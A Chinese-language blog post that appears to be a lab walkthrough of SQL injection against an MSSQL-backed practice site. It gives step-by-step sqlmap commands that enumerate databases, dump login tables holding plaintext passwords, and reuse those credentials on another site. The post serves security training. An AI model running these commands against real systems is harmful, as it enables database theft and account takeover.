MSSQL 隱碼攻擊

MSSQL 隱碼攻擊 


攻擊目標主機 IP : 10.10.10.19

網頁 : http://10.10.10.19/moviescope

預設知道使用者帳號 sam 密碼 test





進入到查看個人 profile 頁面如下圖



重新;整理頁面後從 Request Header 中提取 cookie 值如下

mscope=1jWydNf8wro= (此為隨機值,不同 Session 有不同的值)



透過 SQLMAP 工具帶入 URL 與 Cookie 進行檢測

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro="

可以看出檢測出後端可能是 MSSQL 以及 injectable



開始進行第一步列舉 DB 資料庫,於原有指令後加上 --dbs

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" --dbs

可以看到該 DB 伺服器共有 9 個資料庫


本攻擊範例選定第四個資料庫 GoodShopping 進行下一步列舉

在選定要執行哪一個資料庫後參數使用 -D,接著就是列舉該資料庫中的 table,參數 --tables

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping --tables

可以看到 Login 這張 table



在選定要執行哪一個 table 後參數使用 -T,接著就是列舉該 table 的欄位,參數 --columns

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping -T Login --columns

可以看到取回的資料無法直接顯示



此時可以在原有指令最後面加上 --technique=B

此為採用 Boolean-based blind SQL injection 以布林邏輯盲打列舉欄位與型別

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping -T Login --columns --technique=B

此時就可以正常顯示如下三個欄位 loginid / password / username




接著就是傾印欄位資料,將原有的 --columns  改成 --dump

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping -T Login --dump --technique=B

僅有一筆資料如下圖,使用者 ID、帳號、密碼直接明碼顯示如下



因為抓的資料庫是 GoodShopping 所以不是一開始的網站

透過這個方式只要該伺服器上的其中一個網站有漏洞,就可以抓到同一台伺服器上

其他網站的使用者資料與密碼,透過本次演練得到的帳號密碼試著登入購物網站

網址 : http://10.10.10.19/GoodShopping



確定可以成功登入



在原有的 moviescope 網站也可以執行相同手法,回到資料庫的列舉頁面可以看到

有另一個資料庫名稱為 moviescope,即為一開始漏洞使用的網站資料庫



列舉該資料庫的 table

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D moviescope --tables

有興趣的是 User_Login 資料表



同樣手法列舉該資料表的欄位

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D moviescope -T User_Login --columns --technique=B

共有四個欄位 isAdmin / password / Uid / Uname



進行資料表欄位傾印

指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D moviescope -T User_Login --dump --technique=B\

原本的帳號 sam 即為 Admin,若不是的話這時候就可以順利拿到真正 Admin 的帳號密碼




一樣試著用帳號 john 進行登入試試看



成功登入,顯示 Profile 如下



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)